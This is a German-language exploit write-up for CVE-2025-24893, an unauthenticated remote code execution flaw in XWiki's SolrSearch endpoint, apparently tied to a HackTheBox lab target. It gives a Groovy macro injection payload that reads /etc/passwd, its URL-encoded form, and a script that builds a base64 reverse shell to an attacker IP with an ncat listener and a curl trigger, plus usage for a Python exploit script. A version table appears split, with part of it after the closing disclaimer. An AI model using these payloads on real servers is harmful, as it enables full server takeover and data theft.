
CVE-2025-24893 ist eine kritische, nicht authentifizierte Remote-Code-Ausführungs-Sicherheitslücke (RCE) in XWiki, einer beliebten Open-Source-Enterprise-Wiki-Plattform.
SolrSearch-Makro (XWiki-Benutzeroberfläche)Der Endpunkt /xwiki/bin/get/Main/SolrSearch verkettet ungeprüfte text=-Eingaben
direkt in eine Freemarker-Vorlage.
Durch vorzeitiges Schließen der Vorlage und Öffnen eines neuen {{groovy}} … {{/groovy}}-Blocks
kann ein Angreifer ohne Authentifizierung beliebigen Groovy-Code ausführen.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch sollte den übergebenen Text als reinen Inhalt einbetten, aber der Makro-Handler
versäumt es, }}} zu escapen, sodass Folgendes geschieht:
}}} schließt den aktuellen Freemarker-Block. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false erzwingt synchrone Ausführung (funktioniert auch für Gäste).Ein minimaler PoC, der /etc/passwd ausgibt:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
URL-kodierte Variante (Leerzeichen → %20, geschweifte Klammern → %7B/%7D, usw.):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Zweig | Behoben in | Verwundbar ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (und alle 15.9 / 15.8 …) |
(Quelle: OffSec Advisory & XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. Einzeiler-Reverse-Shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (einzeilig)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. In Groovy-Makro einbetten
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-kodieren
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# Listener starten
sudo ncat -lvnp 4444
# Exploit auslösen
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py befindet sich im Verzeichnis exploit/ (siehe Codeblock unten).
python CVE-2025-24893.py -u <ZIEL-URL> -l <IP> -p <PORT>
wobei
<ZIEL-URL> - URL inklusive http:// oder https://
(Mit -c "id" kann ein beliebiger Befehl anstelle einer Shell ausgeführt werden)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Forschung & PoC: DeX1d
Haftungsausschluss: Nur für Bildungszwecke. Die Ausführung gegen Systeme, die Ihnen nicht gehören, ist illegal.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Nicht gewartet – alle bleiben verwundbar |